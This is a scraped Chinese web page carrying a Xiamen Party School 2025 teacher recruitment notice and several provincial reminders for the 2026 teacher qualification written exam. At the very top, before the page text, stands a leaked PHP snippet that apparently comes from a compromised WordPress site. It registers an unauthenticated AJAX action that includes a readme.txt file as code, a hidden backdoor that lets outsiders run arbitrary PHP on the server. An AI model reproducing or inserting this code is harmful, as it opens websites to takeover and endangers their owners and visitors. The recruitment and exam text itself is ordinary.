if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
福建中共厦门市委党校厦门市行政学院厦门市社会主义学院2025教师招聘公告-全国教师资格考试网

福建中共厦门市委党校厦门市行政学院厦门市社会主义学院2025教师招聘公告

  中共厦门市委党校于1956年4月正式成立。历经60余年的发展,已形成党校、行政学院、社会主义学院为一体的“三块牌子,一套办事机构”的办学体制。校(院)是市委、市政府直接领导下的培训党政领导干部、理论宣传骨干、国家公务员和统战干部、民主党派干部等的高等干部学校。内设党史党建、马克思主义理论和政治学、统战理论、哲学和文化、经济学、社会和生态文明、法学七个教研部。

  近年来,校(院)坚守为党育才、为党献策初心使命,持续加强人才队伍建设,推动教学科研工作持续提升。校(院)3次荣获全国党校(行政学院)系统“教学管理优秀奖”,2门课程获评全国党校(行政学院)系统精品课、3门课程获评中组部“好课程”,国家级精品课数量达到10门,入选中科院发布的“中国核心智库”榜单,为省级博士后创新实践基地。2021年以来,共获得各类课题立项182项,其中国家社科基金项目4项,中央社院统一战线高端智库委托课题2项、省社科基金项目12项,省社会主义学院系统课题5项。呈报决策咨询件72份,获市领导批示118人次。

  2025年我校(院)面向全国公开招聘与各教研部岗位专业相符的专职教师5名,具体事项如下:

  一、招聘条件

  (一)基本条件

  1.具有中华人民共和国国籍,无国(境)外永久居留权。

  2.中共党员(含预备党员),政治立场坚定,拥护中国共产党的领导和社会主义制度,拥护中华人民共和国宪法和法律法规,自觉践行社会主义核心价值观。

  3.具有正常履行职责的身体条件和心理素质,品行端正,具有较强的责任心、良好的职业道德、服务意识和团队合作精神。

  4.热爱干部教育事业,所学专业或研究方向符合校(院)学科建设需要,具有扎实的马克思主义理论和专业理论功底;有一定的教学科研能力,能够胜任校(院)教学和科研工作,服从校(院)工作安排。

  5.具有国内外正规院校博士研究生学历学位,取得境外学历学位证书的应提供教育部留学服务中心出具的学历学位认证书;本科、硕士研究生阶段所学专业,至少有1个与博士研究生专业一致(相近)或者符合交叉学科需要。

  6.具备招聘岗位设置的资格条件。

  7.有下列情形人员不得报名:

  (1)因犯罪受过刑事处罚的;

  (2)曾被开除党籍、公职的;

  (3)曾在各级公职人员招考中被认定有舞弊等严重违反考试录用纪律行为的;

  (4)被依法列入失信联合惩戒对象名单的;

  (5)曾有学术不端等不良行为的;

  (6)学习期间曾受过院系级以上处理处分的,工作期间曾受过本单位以上处理处分的;

  (7)聘用后构成回避关系的;

  (8)法律法规规定不得报考的其他情形。

  (二)招聘岗位及资格条件

序号

岗位

人数

最高年龄

最低学历

最低学位

专业

1

马克思主义理论和政治学教研部

1

35

研究生

博士

马克思主义理论类、政治学类

2

党史党建教研部

1

35

研究生

博士

政治学类、马克思主义理论类

3

哲学和文化教研部

1

35

研究生

博士

哲学类、新闻传播学类

4

统战理论教研部

1

35

研究生

博士

民族宗教类、政治学类、哲学类

5

法学教研部

1

35

研究生

博士

法学类

  备注:

  (1)每人限报1个岗位。

  (2)相关毕业证书与学位证书必须在2025年12月31日前取得。

  (3)年龄计算截止2025年1月。如最高年龄35周岁是指18周岁及以上、35周岁及以下(在1989年1月至2007年1月期间出生)的人员。

  (4)本次招考以《福建省机关事业单位招考专业指导目录(2024年)》作为岗位专业条件设置和审核的依据。

  (5)用人单位按照事业单位岗位设置管理有关规定进行聘任,如拟聘岗位数量不足或拟聘人员不具备相应岗位聘任资格条件的,可实行高职低聘。

  二、报名截止时间:2025年2月28日。

  三、相关待遇

  1.本次招聘为编制内聘用,实行事业单位工作人员聘用制管理,聘用后享受校(院)教师的政治、经济待遇。

  2.博士研究生可申领厦门市新引进人才生活补贴8万元(一次性发放),根据自身条件可申请人才房(价格为市场价45%)、留学人员安家费、高层次留学人员生活补贴、配偶安置、子女入学、医疗保健等相关人才政策(具体可关注“厦门市高层次人才”公众号或登录“厦门人才”查阅“人才生态十二条”服务保障政策)。

  四、招聘程序

  (一)报名与资格初审

  本次招聘采用电子邮件报名的方式,应聘人员填写《2025年中共厦门市委党校(行政学院、社会主义学院)教师职位申请表》,并提供相应的证明材料,发送至邮箱zzrsc@xmdx.gov.cn(注明应聘岗位+姓名)。

  资格初审时需提供如下材料(电子版):

  1.《2025年中共厦门市委党校(行政学院、社会主义学院)教师职位申请表》;

  2.身份证;

  3.博士、硕士、本科各阶段毕业证和学位证;博士、硕士、本科各阶段的教育部学历证书电子注册备案表(已毕业)、教育部学籍在线验证报告(应届毕业生),网址:http://www.chsi.com.cn/,均需带有二维码。

  4.有职称者需提供各阶段职称证书。

  5.相关论文或课题证明。

  6.在职人员应聘的,提供有用人权限部门或单位出具的同意应聘介绍信(经与我校沟通,也可在考察或体检时提供)。

  7.学校或单位出具的中共党员(含预备党员)证明材料。

  8.满足其他要求的证明资料。

  我校将严格按照公告及岗位资格条件,对考生报名资格进行审查确认。资格审查通过者,方可进入考核环节。资格初审后,于面试前电话通知资格初审合格者进行现场资格复审及参加面试,未进入面试者不再另行通知。

  (二)面试与资格复审

  1.面试采取“试讲+答辩”相结合的方式进行。面试时间、地点及相关要求将另行通知。主要考核应聘人员的理论深度、理论联系实际能力、逻辑思维能力、语言表达能力、授课艺术等综合能力素质。

  2.面试由专家评审组和监督组组成。试讲由专家评审组评审,量化记分,去掉一个最高分和一个最低分后计算总分。面试满分为100分,合格分数线为80分,未达到合格分数线的,不予聘用。试讲前需提供资格初审时提交的材料原件进行资格复审。

  (三)体检与考察

  根据计划招聘数按照1:1的比例从高分到低分确定参加体检和考察对象。

  1.体检。体检医院由我校和主管部门根据要求指定。体检标准参照国家公务员录用体检标准执行。

  2.考察。体检合格后进行考察。根据拟聘用岗位的要求,对拟聘用人选的政治思想、道德品质、廉洁自律、业务能力、工作实绩(学业成绩)等进行考察,对应聘资格进行复查。

  凡在体检、考察中弄虚作假或隐瞒真实情况的,或体检、考察不合格的,或应聘资格不符合条件的不予聘用或取消聘用。如在体检、考察环节中因各种原因出现缺额,或者被考察人选自愿放弃等情况,经校委会研究,在同岗位报考人员中,可以按试讲最终成绩从高分到低分依次等额递补。

  (四)公示与聘用

  根据岗位要求以及面试成绩、体检、考察结果,经校委会研究从高分到低分确定拟聘用人选,在中共厦门市委党校网站(http://www.xmdx.gov.cn)公示7个工作日。公示期满没有异议的,报上级组织人事部门办理有关聘用手续。

  通信地址:厦门市海沧区天竺山西路71号,厦门市委党校组织人事处   邮编:361027

  联 系 人:陈老师 0592-5302082;刘老师0592-5302013

  五、其他事宜

  1.应聘人员自报名至拟聘用人员公示期间,应确保报名时所填报的通讯工具畅通,以便招聘单位联络,因所留通讯方式不畅所致后果,由应聘人员自负。

  2.应聘人员要及时关注相关网站和联系群的公告信息,因应聘人员个人原因未能参加面试、体检、办理有关手续等招聘环节的,视为放弃应聘资格。

  六、纪律和监督

  招聘工作严格执行有关招聘政策规定,自觉接受纪检监察机关和社会各界监督。对违反规定、弄虚作假的,一经查实,取消应聘人员的聘用资格,并按照有关规定进行严肃处理,追究相关人员责任。

  附件:2025年中共厦门市委党校(行政学院、社会主义学院)教师职位申请表

  中共厦门市委党校

  2025年1月9日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部